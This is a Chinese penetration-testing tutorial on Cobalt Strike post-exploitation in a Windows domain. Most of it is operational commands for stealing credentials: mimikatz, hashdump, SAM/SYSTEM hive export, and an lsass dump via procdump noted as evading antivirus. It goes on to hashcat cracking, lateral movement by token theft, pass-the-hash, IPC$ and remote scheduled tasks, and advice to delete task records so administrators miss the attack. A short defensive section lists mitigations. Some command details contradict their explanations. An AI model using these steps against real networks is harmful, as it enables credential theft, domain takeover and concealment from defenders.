作者:C1ay,转载于国科漏斗社区。
一、前言
在本篇文章中斗哥将继续带领着大家了了解如何通过CS获取用户的散列值以及通过伪造域管身份进行横向渗透。
二、 Windows系统散列值获取与防范
在获取到目标主机权限后,我们可以抓取hash和dump明文密码,这两项功能都需要管理员权限,如果权限不足,先要进行提权操作。
抓取密码哈希:右键被控主机——>Access——>Dump Hashes
利用mimikatz抓取明文密码:右键被控主机——>Access——>Run Mimikatz
抓取密码哈希,也可以直接输入:hashdump。
使用mimikatz抓取明文密码,也可以直接输入:logonpasswords。
导出的信息可以点击View->Credentials查看获取到的凭证信息。
1、GetPass
工具:GetPassword.exe
shell Getpassword.exe
运行程序后,即可获得明文密码。
2、PwDump7
在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLM Hash。可以通过彩虹表来破解散列值。如果无法通过彩虹表来破解,可以使用哈希传递的方法进行横向渗透测试。
shell PwDump7.exe
3、QuarksPwDump
下载QuarksPwDump.exe,在beacon中输入命令,导出三个用户的NTLM Hash。
shell QuarksPwDump.exe --dump-hash-local
4、通过SAM和System文件抓取密码。
(1)导出SAM和System文件。
无工具导出SAM文件,命令如下。
shell reg save hklm\sam sam.hive
shell reg save hklm\system system.hive
通过reg的save选项将注册表中的SAM、System文件导出到本地磁盘。
(2)通过读取SAM和System文件获得NTML Hash。
1.通过mimikatz读取SAM和System文件。
首先需要将目标系统导出的system.hive和sam.hive文件放到与mimikatz工具同一目录下,输入如下命令获得NTML Hash。
lsadump::sam /sam:sam.hive /system:system.hive
命令运行结果如下:
2.使用Cain读取SAM文件。
打开cain工具,选择Cracker模块,点击+选择从本地导入SAM文件,选择刚刚从目标机中导出的的SAM文件。
然后在Boot key中选择刚刚导出的system.hive,这里会生成一段key,将其选中,复制到Boot key中。
然后点击next即可得到NTML Hash值。
3.使用mimikatz直接读取本地SAM文件,导出hash信息。
该方法与1的不同之处是,需要在目标机器上运行mimikatz。在进行渗透测试时,需要考虑mimikatz在目标机器上的免杀特性。
在命令行环境中打卡mimikatz,输入”privilege::debug”提权,然后输入”token::elevate”将权限提升到System。
输入”lsadump::sam”,读取本地SAM文件,获得NTML Hash。
5、使用mimikatz在线读取SAM文件。
在mimikatz目录下打开命令行环境,输入命令,在线读取散列值及明文密码。
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
6、使用mimikatz离线读取lsass.dmp文件。
(1)导出lsass.dmp文件
1.使用任务管理器导出lsass.dmp文件
打开任务管理器,找到lsass.exe进程,右键点击创建转储文件即可。
此时,会在本地生成lsass.DMP文件。
2.使用Prodump导出lsass.dmp
Procdump是微软官方发布的工具,可以在命令行下将目标 Isass文件导出,且杀毒软件不会拦截这些操作。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
输入如下命令进行导出lsass.dmp文件。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
(2)使用mimikatz导出lsass.dmp文件中的密码散列值
首先,在命令行运行mimikatz,将lsass.dmp文件加载到mimikatz中,输入命令”sekurlsa::minidump lsass.DMP”,如果看到”Switch to MINIDUMP”字样,表示加载成功。最后,输入”sekurlsa::logonPasswords full”命令,导出密码散列值。
运行结果如下:
7、使用Powershell对散列值进行Dump操作
Nishang 的 Get-PassHashes.ps1脚本可用于导出散列值。将Get-PassHashes.ps1脚本导入并执行,命令如下。
powershell-import
powershell Get-PassHashes
2.3 单机密码抓取的防范方法
微软为了防止用户密码在内存中以明文形式泄露,发布了补丁KB2871997,关闭了Wdigest功能。
Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
在日常网络维护中,通过查看注册表项Wdigest,可以判断Wdigest 功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中。
在命令行环境中开启或关闭Wdigest Auth,有如下两种方法。
(1)使用reg add 命令
开启Wdigest Auth,命令如下。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭Wdigest Auth,命令如下。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
(2)使用Powershell
开启Wdigest Auth,命令如下。
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
关闭Wdigest Auth,命令如下。
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
hashcat号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等等
1、安装Hashcat
下面以在Linux下安装Hashcat为例讲解。安装方法有两种,一种是访问GitHub下载源码进行编译和安装,另一种是下载编译好的文件进行安装。Kali Linux默认集成了Hashcat,可以直接使用。
(1)下载源码编译和安装
访问Hashcat的官网,下载源码。
地址如下:https://github.com/hashcat/hashcat/archive/v5.1.0.zip
也可以在Linux命令行环境中执行git clone命令,下载Hashcat的源码。
git clone https://github.com/hashcat/hashcat.git
将Hashcat下载到本地后,先输入”make”命令进行编译,再输入”make install”命令进行安装。
此时,会在当前目录下生成一个Hashcat的二进制文件。输入如下命令,查看Hashcat 的帮助信息。
./ hashcat -h
(2)使用编译好的二进制文件安装
下载Hashcat的源码,解压后可以看到其中包含很多文件。
在相应版本的Linux操作系统中直接运行hashcat32.bin或hashcat64.bin即可。
Hashcat还有可执行程序版本,可以在Windows中直接运行32位或64位的Hashcat。输入如下命令。
hashcat.exe -h
2、Hashcat的使用方法
使用-b参数,测试使用当前机器进行破解的基准速度。因为测试时使用的是虚拟机,所以需要使用–force参数强制执行。
(1)指定散列值的类型
在Hashcat 中,可以使用-m参数指定散列值的类型,常见的散列类型可以参考Hashcat的帮助信息,也可以查阅官网网站。
地址:example_hashes [hashcat wiki]
(2)指定破解模式
可以使用”-a number”来指定Hashcat的破解模式。通过帮助信息可以知道,有如下几种破解模式。
0 = Straight | 字典破解 |
1 = Combination | 组合破解 |
2 = Toggle-Case | |
3 = Brute-force | 掩码暴力破解 |
4 = Permutation | 组合破解 |
5= Table-Lookup |
(3)常用命令
在渗透测试中,通常使用字典模式进行破解。输入如下命令,Hashcat就将开始破解。
hashcat -a 0 -m xx <hashfile> <zidian1> <zidian2>
●-a 0:以字典模式破解。
●-m xx:指定内的散列值类型。
●:将多个散列值存入文本,等待破解。·
●:指定字典文件。
将1到8指定为数字进行破解,命令如下。
hashcat -a 3 --increment --increment-min 1--increment-max 8 ?d?d?d?d?d?d?d?d –O
破解 Windows 散列值,命令如下。
hashcat -m 1000 -a 0 6ab6364d6ba0c8556df9ee189342402d Password.txt --force
更多使用使用方式可以参考:https://www.cnblogs.com/xyongsec/p/12097321.html
(4)常用选项
使用“hashcat -h”,可以查看Hashcat支持的所有选项。常用选项列举如下。
-show:仅显示已经破解的密码。
-o, -outfile=FILE: 定义散列值文件,恢复文件名和保存位置。
-n, -threads=NUM:线程数。
–remove:把破解出来的密码从散列值列表中移除。
–segment-size 512:设置内存缓存的大小(可以提高破解速度),单位为MB。
网上也有很多在线破解网站,这里推荐两个。
http://www.cmd5.com
http://www.xmd5.com
1、设置Active Directory 2012 R2功能级别
Windows Server 2012 R2新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放入该组,攻击者就无法使用mimikatz等工具抓取明文密码和散列值了。
再次通过mimikatz抓取密码。
2、安装KB2871997
KB2871997是微软用来解决PsExec或IPC远程查看( c$)问题的补丁,能使本地账号不再被允许远程接入计算机系统,但系统默认的本地管理员账号Administrator这个SID为500的用户例外——即使将Administrator改名,该账号的SID仍为500,攻击者仍然可以使用横向攻击方法获得内网中其他计算机的控制权。安装KB2871997后,仍需禁用默认的Administrator账号,以防御哈希传递攻击。
3、通过修改注册表禁止在内存中存储明文密码
微软在Windows XP版本中添加了一个名为WDigest的协议。该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机。
通过修改注册表的方式,即可解决内存中以明文存储密码的问题。执行如下命令,在注册表中添加一个键值,将其设置为0。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
注销后,Windows就不会再将明文密码存储在内存中了。
执行”reg query”命令,查询该键值是否添加成功。
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
因为NTLM Hash是很难被破解的,所以,如果设置的Windows密码足够强壮,并养成定期修改密码的习惯,就可以降低系统被彻底攻陷的可能性。
4、防御mimikatz攻击
根据Debug权限确定哪些用户可以将调试器附加到任何进程或内核中。在默认情况下,此权限为本地管理员Administrator所有,如图5-46所示。不过,除非是系统进程,本地管理员几乎不需要使用此权限。
mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需要和 Isass进程进行交互,如果没有Debug权限,mimikatz将不能读取 Isass进程),因此我们只要将拥有 Debug权限的本地管理员从 Administrators 组中删除。重启系统,再次运行mimikatz,输入“privilege::debug”,将看到错误信息。此时,已经无法使用mimikatz抓取散列值及明文密码了。
三、登录认证
通过前期的信息收集我们可以发现,域管理员曾在WIN7-SP这台域内主机上登录,而我们获取到的主机又是WIN7-SP的本地超级管理员。因此现在我们可以通过psexec获取先获取到WIN7-SP这台主机的权限
因为后续所需要进行的是内网渗透,这时候我们可以创建一个SMB的监听器,因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
具体步骤如下:
1.点击View->Targets可以查看到之前获取到的域内存活的主机信息。
2.右键点击需要进行横向渗透的主机Win7-sp。
3.选择使用到的会话和监听器即可。
执行以后我们就可以成功获取到WIN7-SP的权限了,而且是系统权限。
现在我们再执行Mimikatz获取WIN7-SP主机上的凭证信息。
可以看到我们成功获取到了DC的明文和hash密码。
现在我们可以通过steal_token ID 获取域管权限。
这时候通过shell whoami 可以看到我们已经成功获取到域管理员身份了。
现在输入shell dir \dc\c$ 命令可以看到可以成功访问到域控的C盘。
然后可以输入rev2self恢复到原来的令牌,可以看到已经不能对DC的盘符进行访问了。
我们也可以用mimikatz收集到的密码 用凭证制作一个标记 (令牌token电脑计算机的临时身份)。
命令:make_token domain\user password
效果如下:
可以看到,在我们制作标记以后就可以成功获得域控访问权限了。
3.2 散列认证
在获取到域管理员的ntml哈希以后,我们就可以通过pth获取域控制器的访问权限。
命令:pth domain\username ntml
效果如下:
3.3 IPC连接
IPC ( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
利用条件:
1.开启了139、445端口
2.管理员开启了默认共享
连接失败原因:
1.用户名密码错误。
2.目标没有打开ipc$默认共享。
3.不能成功连接目标的139、445端口
4.命令输入错误。
IPC常见错误问题解决方式可以参考:(43条消息) ipc连接常见问题_海阔天空-CSDN博客
具体步骤如下:
1、建立一个ipc$,输入如下命令:
net use \\需要连接的IP地址\ipc$ "密码" /user:账号
2、使用windows自带的工具获取远程主机信息
1.dir命令
在使用net use 命令与远程目标机器建立ipc$后,可以使用dir命令列出远程主机中的文件。
shell dir \\1.1.1.2\c$
2.tasklist命令
在使用net use 命令与远程目标机器建立ipc$后,可以未使用tasklist命令的 /S /U /P参数列出远程主机上运行的进程。
shell tasklist /S 远程IP地址 /U 用户名 /P 密码
3、计时任务
1)at命令
at是Windows自带的用于创建计时任务的命令,它主要工作在Windows Server 2008 之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下。
1.使用net time命令确定远程机器当前的系统时间。
2.使用copy命令将Payload 文件复制到远程目标机器中。
3.使用at命令定时启动该Payload 文件。
4.删除使用at命令创建计划任务的记录。
(1)查看目标系统时间
net time 命令用于查看远程主机的系统时间,执行如下命令。
net time \\1.1.1.2
(2)将文件复制到目标系统中
首先,在本地创建一个ipconfig.bat文件,其内容为“cmd.exe ipconfig > 1.txt”。然后,让 Windows运行一个“计算器”程序,使用Windows自带的copy命令将一个文件复制到远程主机的C盘中。命令如下。
shell copy calc.bat \\1.1.1.2\c$
(3)使用at创建定时任务
shell at \\1.1.1.23 21:00:00 c:\calc.bat
命令的意思是,创建一个ID为7的计时任务,内容是在下午4点11份运行C盘下的calc.bat。命令执行后,可以看到calc.exe成功运行。
也可以直接创建一个定时任务来执行CMD命令,命令如下。
shell at \\1.1.1.10 20:45:00 cmd.exe /c "ipconfig > c:/1.txt"
通过如下命令进行查看结果。
shell type \\1.1.1.10\c$\1.txt
(4)清除at记录
计划任务不会随着它本身的执行而删除,因此,网络管理员可以通过攻击者创建的计时任务获知网络遭受了攻击。但是我们也可以通过一些命令来删除计划任务。
shell at \\1.1.1.10 7 /del
再次查看可以发现ID为7的任务被成功删除。
2)schtasks 命令
Windows Vista、Windows Server 2008及之后版本的操作系统已经将at命令废弃了。于是,攻击者开始使用schtasks命令代替at命令。schtasks命令比 at命令更为灵活、自由。下面通过实验分析一下schtasks命令的用法。在远程主机上创建一个名称为“test”的计划任务。该计划任务在开机时启动,启动程序为C盘下的calc.bat,启动权限为System。命令如下。
shell schtasks /create /s 1.1.1.2 /tn test /sc onstart /tr c:\calc.bat /ru system /f /u administrator /p "密码"
这条命令的解释是在IP为1.1.1.2主机上创建一个开启自启动的定时任务,定时任务名称为test,以system的权限执行打开c盘下的calc.bat文件,文件的内容是打开计算器。若定时任务存在,则发出警告。如果未与目标主机建立IPC连接,需要输入用户名和密码的参数。
schtasks命令参数解释可以参考官方手册:schtasks 命令 | Microsoft Docs
计划任务创建成功后,输入如下命令执行计划任务。
shell schtasks /run /s 1.1.1.2 /i /tn "test" /u administrator /p "密码"
在目标系统上可以看到计算机被成功打开。
在计划任务运行后,输入如下命令,删除该计划任务,命令如下。
schtasks /delete /s 1.1.1.2 /tn "test" /f
此后,如果还需要删除ipc$,命令如下。
net use \\目标ip /del /y
在删除ipc。在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。
3.4 黄金票据
创建票据所需条件如下:
●任意用户名
●域名
●域sid
●krbtgt用户散列
尝试访问dc的c盘文件,判断是否已经具备了域管权限。
四、后语
在本篇文章中,斗哥介绍了一些获取用户散列的方式以及伪造域管身份进行横向渗透,在下一篇文章中,斗哥将继续给大家介绍通过其他的方式进行横向渗透,敬请期待!
五、参考链接